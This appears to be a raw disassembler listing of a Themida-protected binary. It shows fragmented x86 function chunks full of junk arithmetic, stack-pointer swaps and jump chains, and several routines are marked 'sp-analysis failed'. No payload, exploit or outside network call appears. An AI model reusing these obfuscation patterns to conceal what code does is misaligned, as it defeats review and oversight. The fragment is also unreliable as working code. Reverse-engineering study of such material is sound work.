sub ecx, 30AB447Ah
inc ecx
and ecx, 6A610392h
jmp loc_569984
; END OF FUNCTION CHUNK FOR sub_56AB51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570019
loc_563DA3: ; CODE XREF: sub_570019+6j
add dword ptr [esp+0], 4
pop edi
jmp loc_5652FD
; END OF FUNCTION CHUNK FOR sub_570019
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5715F0
loc_563DB0: ; CODE XREF: sub_5715F0-3E9Cj
sub dword ptr [esp+8], 6D49345Ch
sub [esp+8], ecx
jmp loc_56F29E
; END OF FUNCTION CHUNK FOR sub_5715F0
; ---------------------------------------------------------------------------
loc_563DC1: ; CODE XREF: Themida_:00567A2Ej
sub ebx, ecx
mov ecx, ebx
pop ebx
jmp loc_56674F
; =============== S U B R O U T I N E =======================================
sub_563DCB proc near ; CODE XREF: sub_56A016+20B3j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005603EB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00561126 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00561187 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00561587 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00562F5F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00563655 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005667BC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566F67 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005677E7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005697A2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056A4CB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056AD45 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056AEC2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056C194 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056F6C0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005702BB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005742ED SIZE 00000017 BYTES
push ebp
mov ebp, 3C5F3394h
and ecx, ebp
pop ebp
push 2311h
mov [esp+2+var_4+2], esi
push 4C892385h
pop esi
and ecx, esi
pop esi
shl ecx, 7
sub esp, 4
mov [esp+2+var_4+2], ebx
jmp loc_566F67
sub_563DCB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_563DF6: ; CODE XREF: Themida_:00571528j
sub edx, 7D5B0B81h
pop eax
push ebx
mov ebx, 4F3A718Fh
shr ebx, 3
jmp loc_565128
; ---------------------------------------------------------------------------
loc_563E0B: ; CODE XREF: Themida_:005678C6j
not eax
xor eax, 89EDED9h
xor edi, eax
jmp loc_56CE56
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_563E19: ; CODE XREF: sub_5678CB+96E7j
mov ebx, 18E40CDDh
jmp loc_571875
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5716F1
loc_563E23: ; CODE XREF: sub_5716F1-358Cj
mov ebx, 5FD00626h
xor ebx, 11D92503h
neg ebx
add ebx, 33F5F73h
add ebx, 19890397h
shr ebx, 3
jmp loc_57259C
; END OF FUNCTION CHUNK FOR sub_5716F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_563E44: ; CODE XREF: sub_574656-10A8Fj
pop ebx
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_56D82D
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D464
loc_563E50: ; CODE XREF: sub_56D464-14j
add esi, eax
jmp loc_570E43
; END OF FUNCTION CHUNK FOR sub_56D464
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_563E57: ; CODE XREF: sub_574CBE-944Aj
sub esi, 0CD6C812Bh
jmp loc_564CC0
; END OF FUNCTION CHUNK FOR sub_574CBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5610CE
loc_563E62: ; CODE XREF: sub_5610CE-29Ej
xor [esp+4+var_4], esi
xor esi, [esp+4+var_4]
pop esp
push 6E63h
mov [esp+4+var_4], eax
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5610CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_563E76: ; CODE XREF: sub_564D26+1726j
xor [esp+1Ch+var_1C], edi
xor edi, [esp+1Ch+var_1C]
pop esp
xor edx, [esp+18h+var_18]
xor [esp+18h+var_18], edx
xor edx, [esp+18h+var_18]
pop esp
push 7B48h
mov [esp+18h+var_18], edx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+1Ch+var_1C]
pop esp
mov [esp+18h+var_18], edi
jmp loc_573CF7
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
loc_563EAA: ; CODE XREF: Themida_:00565123j
push 246E0DF2h
mov ebp, [esp]
add esp, 4
shr ebp, 5
or ebp, 51933FB6h
push ecx
mov ecx, 4FBD65BFh
push edi
mov edi, 0
sub edi, ecx
xchg edi, ecx
pop edi
xor ecx, 15A021A7h
or ecx, 3E996CACh
xor ecx, 51974486h
add ecx, 51FC4CC6h
xor ecx, 75C86BA3h
sub ebp, ecx
pop ecx
push ebp
xor dword ptr [esp], 4E1B39F2h
pop edi
xor edi, 4E1B39F2h
pop ebp
sub ebx, edi
pop edi
add ebx, 0B8BC15E0h
mov edi, ebx
pop ebx
add esi, edi
pop edi
xchg esi, [esp]
mov esp, [esp]
shr dword ptr [esp], cl
pushf
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B6E
loc_563F1E: ; CODE XREF: sub_565B6E+93A4j
add ebp, 0BA4989CCh
add edi, ebp
pop ebp
add edi, 4
xchg edi, [esp+4+var_4]
pop esp
push 6A6Dh
mov [esp+4+var_4], ecx
push 5C38962Ah
pop ecx
jmp loc_565854
; END OF FUNCTION CHUNK FOR sub_565B6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_563F44: ; CODE XREF: sub_56651E-54A5j
mov ecx, [esp+8+var_8]
add esp, 4
push 71FBh
mov [esp+8+var_8], eax
mov eax, 4
add ebx, eax
pop eax
push 6C5Eh
mov [esp+8+var_8], ebx
push [esp+8+var_4]
pop ebx
pop [esp+8+var_8]
pop esp
jmp loc_570BFB
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_563F70: ; CODE XREF: sub_5605BC+5288j
push 3A7Ah
mov [esp+24h+var_24], ebx
mov ebx, 4
add edx, ebx
mov ebx, [esp+24h+var_24]
push edi
jmp loc_566D34
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56ABD0
loc_563F88: ; CODE XREF: sub_56ABD0+25j
xchg ebp, [esp+0]
mov esp, [esp+0]
and ebx, edi
jmp loc_572D71
; END OF FUNCTION CHUNK FOR sub_56ABD0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_563F95: ; CODE XREF: sub_5685B2+C4E3j
not ebx
and ebx, 443354Dh
jmp loc_5679FF
; END OF FUNCTION CHUNK FOR sub_5685B2
; =============== S U B R O U T I N E =======================================
sub_563FA2 proc near ; DATA XREF: Themida_:0055FD10o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005613C9 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00562D55 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00563317 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00564532 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005672C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005692AF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005695DD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056AD0A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056AD55 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056CC8D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056D4F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571AC6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00572E93 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573D29 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00574846 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00574DAC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005753AE SIZE 00000008 BYTES
mov ax, [esp+0]
push esi
mov esi, esp
push ebx
mov ebx, 4
jmp loc_562D55
sub_563FA2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_563FB4: ; CODE XREF: sub_57354D-B721j
shl edx, 1
push dword ptr [edi+24h]
jmp loc_5727AC
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B71F
loc_563FBE: ; CODE XREF: sub_56B71F-334Fj
mov ecx, 55885B38h
shr ecx, 2
not ecx
not ecx
sub ecx, 0BAACB20Fh
or edx, ecx
pop ecx
and edx, 46DE3DF7h
neg edx
jmp loc_568816
; END OF FUNCTION CHUNK FOR sub_56B71F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565AFE
loc_563FE0: ; CODE XREF: sub_565AFE-CC2j
xor edi, 4B530F4Ch
sub edx, edi
pop edi
push ebx
mov ebx, 0E2D7929h
add edx, ebx
pop ebx
sub edx, 12FF2468h
add edx, ecx
add edx, 12FF2468h
sub edx, 0E2D7929h
add edx, 1E9A0D33h
add edx, 5565240Ah
jmp loc_573430
; END OF FUNCTION CHUNK FOR sub_565AFE
; =============== S U B R O U T I N E =======================================
sub_564017 proc near ; DATA XREF: Themida_:0055FE18o
mov ax, [esp+0]
jmp sub_56B577
sub_564017 endp
; =============== S U B R O U T I N E =======================================
sub_564020 proc near ; CODE XREF: sub_568CD2-7003j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056069B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056165D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00562AA7 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00563449 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564393 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00567DFB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E1A5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E360 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056E968 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005703B6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00571AE7 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00572C1D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00573349 SIZE 0000001B BYTES
push ebp
mov ebp, 6EB34C77h
mov ecx, ebp
mov ebp, [esp+0]
add esp, 4
xor eax, ecx
pop ecx
mov edi, eax
jmp loc_56E1A5
sub_564020 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_56403B: ; CODE XREF: sub_56B11B+5ED5j
sub edx, eax
pop eax
xchg edx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebx
jmp loc_56E9B7
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_56404A: ; CODE XREF: sub_5666C3-34E8j
add eax, esi
jmp loc_568922
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DAB2
loc_564051: ; CODE XREF: sub_56DAB2+37D2j
sub ecx, 0C916E52Bh
sub eax, 2883079Bh
sub eax, ecx
add eax, 2883079Bh
pop ecx
push edx
jmp loc_573055
; END OF FUNCTION CHUNK FOR sub_56DAB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_56406A: ; CODE XREF: sub_572641+3E2j
xor bh, ah
pop eax
and dl, bh
pop ebx
add dl, 88h
jmp loc_56C42E
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C3E2
loc_564078: ; CODE XREF: sub_56C3E2-4E05j
mov edx, edi
pop edi
xor ebx, edx
jmp loc_56E61B
; END OF FUNCTION CHUNK FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570FB7
loc_564082: ; CODE XREF: sub_570FB7+2703j
mov [esp+0], ebx
push eax
jmp loc_571233
; END OF FUNCTION CHUNK FOR sub_570FB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_56408B: ; CODE XREF: sub_5673C3-D0Ej
add edx, 73467F9Dh
add edx, ebx
sub edx, 73467F9Dh
pop ebx
sub edx, 4
xchg edx, [esp+0]
pop esp
mov [esp-4+arg_0], edi
mov edi, 6B496CACh
shr edi, 5
push 3A40h
mov [esp+0], ebp
mov ebp, 141938FDh
sub edi, ebp
pop ebp
shr edi, 7
shl edi, 4
xor edi, 0A9FEE349h
add edx, edi
pop edi
add ebp, 3E323620h
jmp loc_569CE4
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_5640D6: ; CODE XREF: sub_561F05+DC2Aj
neg edx
neg edx
sub edx, 0FFFFFFFFh
add edx, 0DE76CF77h
add esi, edx
pop edx
jmp loc_567FAC
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
loc_5640EB: ; CODE XREF: Themida_:005730F8j
pop esi
push ebp
jmp loc_56FEE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5631A3
loc_5640F2: ; CODE XREF: sub_5631A3-26B1j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5631A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_5640F7: ; CODE XREF: sub_574656-D095j
mov esi, esp
push 396h
mov [esp+10h+var_10], ebp
mov ebp, 4
jmp loc_56E6A2
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_56410B: ; CODE XREF: sub_56C83E+6DC4j
mov eax, esp
push edx
jmp sub_564CDA
; ---------------------------------------------------------------------------
loc_564113: ; CODE XREF: sub_56C83E-4006j
shr ebp, 4
add ebp, 45185790h
sub ebx, ebp
pop ebp
mov edi, ebx
mov ebx, [esp+0Ch+var_C]
add esp, 4
add edx, edi
pop edi
dec edx
push eax
jmp loc_57255B
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_564134: ; CODE XREF: sub_571088-1D5Aj
mov ebp, [esp+8+var_8]
jmp loc_5681C8
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5750DE
loc_56413C: ; CODE XREF: sub_5750DE-4C04j
add eax, 538F00CCh
push ecx
mov ecx, 1ECE33D2h
add eax, ecx
push [esp+4+var_4]
jmp loc_5743C8
; END OF FUNCTION CHUNK FOR sub_5750DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_564151: ; CODE XREF: sub_57549C-12A92j
inc ecx
jmp loc_56FFE3
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_564157: ; CODE XREF: sub_567D31-2E7Ej
add edi, 4287A2Dh
pop ebp
jmp loc_571CDB
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_564163: ; CODE XREF: sub_561027+375Aj
and eax, esi
push [esp-4+arg_0]
push dword ptr [esp+0]
pop esi
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, esp
push edx
mov edx, 3A0C121Ah
push esi
mov esi, 64434909h
jmp loc_56C4D7
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_564185: ; CODE XREF: sub_56B06D-96A6j
pop [esp+8+var_8]
push 368Bh
mov [esp+8+var_8], esi
push edi
mov edi, 29064F3Bh
add edi, 0D6F9B0C9h
mov esi, edi
pop edi
jmp loc_56DCBE
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_5641A4: ; CODE XREF: sub_571F6F-115BFj
pop ecx
add esp, 4
push 1491h
mov [esp+8+var_8], ecx
push 1870h
mov [esp+0Ch+var_E+2], edx
push ecx
mov cl, bh
mov dh, cl
jmp loc_560DE1
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_5641C5: ; CODE XREF: sub_566400-3563j
push edx
push eax
jmp loc_56A152
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_5641CC: ; CODE XREF: sub_563A7F+952Aj
xor bh, 0ADh
xor bh, 0Ah
add bh, 61h
and bh, 6Eh
xor bh, 8Ch
xor bh, 49h
add cl, bh
jmp loc_56AE85
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_5641E5: ; CODE XREF: sub_57146D-5C59j
add bl, al
add bl, 0E3h
push dx
push eax
mov al, 0B9h
shl al, 3
inc al
jmp loc_56B53C
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_5641F9: ; CODE XREF: sub_569CBC-4105j
neg ebx
sub ebx, 544E521Ah
dec ebx
sub ebx, 1
jmp sub_56F1DB
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_56420A: ; CODE XREF: sub_5648C6-338Aj
push 4818h
mov [esp+4+var_4], ebp
mov ebp, 4
add edi, ebp
jmp loc_560FB1
; END OF FUNCTION CHUNK FOR sub_5648C6
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_56421E proc near ; CODE XREF: sub_56CC46+2ED0j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056D893 SIZE 00000009 BYTES
push ebp
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp+4+var_4], esi
mov esi, 4
add ebp, esi
pop esi
jmp loc_56D893
sub_56421E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_56423D: ; CODE XREF: sub_571088-B1D4j
sub dh, bl
pop ebx
sub ah, 0Ch
sub ah, dh
add ah, 0Ch
pop edx
jmp loc_560738
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_56424E: ; CODE XREF: sub_56B11B+8BEEj
add ecx, 348F715Dh
jmp loc_56E34E
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566AF9
loc_564259: ; CODE XREF: sub_566AF9-52D8j
mov edx, esp
push ecx
mov ecx, 0A2E0C6Ah
not ecx
and ecx, 39F20EAFh
jmp loc_564449
; END OF FUNCTION CHUNK FOR sub_566AF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747D7
loc_56426E: ; CODE XREF: sub_5747D7-FD6Bj
mov eax, 4
sub [esp+8+var_4], 7B562AD3h
add [esp+8+var_4], eax
add [esp+8+var_4], 7B562AD3h
pop eax
pop ebx
jmp loc_57051A
; END OF FUNCTION CHUNK FOR sub_5747D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56428E: ; CODE XREF: sub_56AB5E-7883j
pop ax
xor dh, bh
mov ebx, [esp+4+var_4]
sub esp, 4
mov [esp+8+var_8], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5690BD
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
loc_5642AE: ; CODE XREF: Themida_:0056A603j
xchg edx, [esp]
jmp loc_571980
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_5642B6: ; CODE XREF: sub_569193+B846j
add ebp, 4
push eax
mov eax, 4
jmp loc_5690E0
; END OF FUNCTION CHUNK FOR sub_569193
; =============== S U B R O U T I N E =======================================
sub_5642C7 proc near ; CODE XREF: sub_571289-5871j
; FUNCTION CHUNK AT 00560C8B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561B09 SIZE 00000011 BYTES
push ebp
push ebx
mov ebx, 4C94831h
mov ebp, ebx
jmp loc_560C8B
sub_5642C7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5606E3
loc_5642D5: ; CODE XREF: sub_5606E3+57BDj
mov esi, 24B06559h
add edi, 18BF2857h
add edi, esi
sub edi, 18BF2857h
mov esi, [esp+0]
add esp, 4
push edx
mov edx, 8289A83Eh
sub edi, edx
pop edx
mov eax, edi
mov edi, [esp+0]
jmp loc_561F9C
; END OF FUNCTION CHUNK FOR sub_5606E3
; ---------------------------------------------------------------------------
loc_564301: ; CODE XREF: Themida_:005663FBj
push esi
jmp loc_56D7E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570C6A
loc_564307: ; CODE XREF: sub_570C6A-444Bj
xor esi, 258D2818h
dec esi
push edi
mov edi, 41E0A2B5h
add esi, edi
pop edi
add ebp, 27232158h
sub ebp, 534F4A02h
add ebp, 0B06198Bh
add ebp, esi
sub ebp, 0B06198Bh
jmp loc_573716
; END OF FUNCTION CHUNK FOR sub_570C6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AE4B
loc_564336: ; CODE XREF: sub_56AE4B+12j
pop esp
mov [esp+0], eax
push 44C6h
jmp loc_56C2B1
; END OF FUNCTION CHUNK FOR sub_56AE4B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563207
loc_564344: ; CODE XREF: sub_563207+668Ej
xchg eax, [esp+10h+var_10]
pop esp
add eax, 2
xchg eax, [esp+0Ch+var_C]
pop esp
shl byte ptr [esp+8+var_8], cl
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_563207
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_56435A: ; CODE XREF: sub_56C83E+852Fj
sub ebp, 9EE41CBh
jmp loc_56D76C
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_564365: ; CODE XREF: sub_57549C-B054j
mov edi, 650C4B0Fh
jmp loc_5677C0
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5729F9
loc_56436F: ; CODE XREF: sub_5729F9+1D80j
add bl, 0A9h
sub bl, 65h
sub al, bl
pop ebx
sub al, bh
jmp sub_571088
; END OF FUNCTION CHUNK FOR sub_5729F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_56437F: ; CODE XREF: sub_572141-8AE3j
not eax
sub eax, 6B70018h
xor eax, 8CA1A902h
sub ebp, eax
pop eax
jmp loc_56CA70
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564020
loc_564393: ; CODE XREF: sub_564020-1545j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+4+var_4]
pop esp
jmp loc_563449
; END OF FUNCTION CHUNK FOR sub_564020
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_5643AB: ; CODE XREF: sub_56FB8A-46BDj
xor [esp+0], eax
xor eax, [esp+0]
mov esp, [esp+0]
push esi
mov esi, 76676289h
jmp loc_571F22
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F782
loc_5643BF: ; CODE XREF: sub_56F782-8503j
pop esp
push dword ptr [esp+0]
pop eax
jmp loc_566A96
; END OF FUNCTION CHUNK FOR sub_56F782
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564EBE
loc_5643C9: ; CODE XREF: sub_564EBE+7828j
pop ebx
jmp loc_567F04
; END OF FUNCTION CHUNK FOR sub_564EBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_5643CF: ; CODE XREF: sub_570CE4-6E01j
add edi, 4
xchg edi, [esp+4+var_4]
pop esp
jmp loc_561EBA
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_5643DE: ; CODE XREF: sub_560EA2+73AFj
mov edi, 1A955822h
add eax, edi
pop edi
jmp loc_56B7F0
; END OF FUNCTION CHUNK FOR sub_560EA2
; =============== S U B R O U T I N E =======================================
sub_5643EB proc near ; CODE XREF: sub_56C38F-3419j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0056177A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056798F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056A89D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056A9DE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056AD8E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B4AA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056BF79 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056C9CA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00570BD7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057536E SIZE 00000026 BYTES
push ebp
jmp loc_56AD8E
sub_5643EB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_5643F1: ; CODE XREF: sub_574CDD-8F0Aj
pop esp
add ecx, 751A62D7h
add ecx, esi
jmp loc_5693D1
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_5643FF: ; CODE XREF: sub_561027+10948j
mov esp, [esp+0Ch+var_C]
push 2413h
mov [esp+10h+var_10], edx
push ebp
mov ebp, 41E74596h
shl ebp, 7
push 5306h
mov [esp+18h+var_18], esi
mov esi, 7AE02531h
xchg eax, esi
not eax
xchg eax, esi
or esi, 0F121DCh
xor esi, 0D873A913h
push ebp
mov ebp, 1FB0FAAh
or ebp, 63190F47h
jmp loc_5727E6
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680F2
loc_564441: ; CODE XREF: sub_5680F2+5A78j
mov [esp+0], ebx
jmp loc_56EDD0
; END OF FUNCTION CHUNK FOR sub_5680F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566AF9
loc_564449: ; CODE XREF: sub_566AF9-2890j
add ecx, 5FCE2309h
sub ecx, 919E258Ah
add edx, ecx
pop ecx
add edx, 4
xchg edx, [esp+0Ch+var_C]
pop esp
jmp loc_560536
; END OF FUNCTION CHUNK FOR sub_566AF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567049
loc_564467: ; CODE XREF: sub_567049-63C3j
push edx
push ebp
push 77F03990h
pop ebp
not ebp
neg ebp
jmp loc_56912E
; END OF FUNCTION CHUNK FOR sub_567049
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DFF9
loc_564478: ; CODE XREF: sub_56DFF9-9958j
not eax
xchg eax, ecx
jmp sub_565AFE
; END OF FUNCTION CHUNK FOR sub_56DFF9
; ---------------------------------------------------------------------------
loc_564480: ; CODE XREF: Themida_:0057326Bj
push dword ptr [esp]
pop edi
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_56A5FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E1B
loc_564494: ; CODE XREF: sub_569E1B+13j
xor ebx, [esp+2+var_4+2]
xor [esp+2+var_4+2], ebx
xor ebx, [esp+2+var_4+2]
jmp loc_56E310
; END OF FUNCTION CHUNK FOR sub_569E1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5681F5
loc_5644A2: ; CODE XREF: sub_5681F5+5589j
add edx, 4
jmp loc_56E93C
; END OF FUNCTION CHUNK FOR sub_5681F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_5644AA: ; CODE XREF: sub_56B06D-6256j
mov ecx, 1CFB366Dh
xor ebx, ecx
jmp loc_5737B9
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
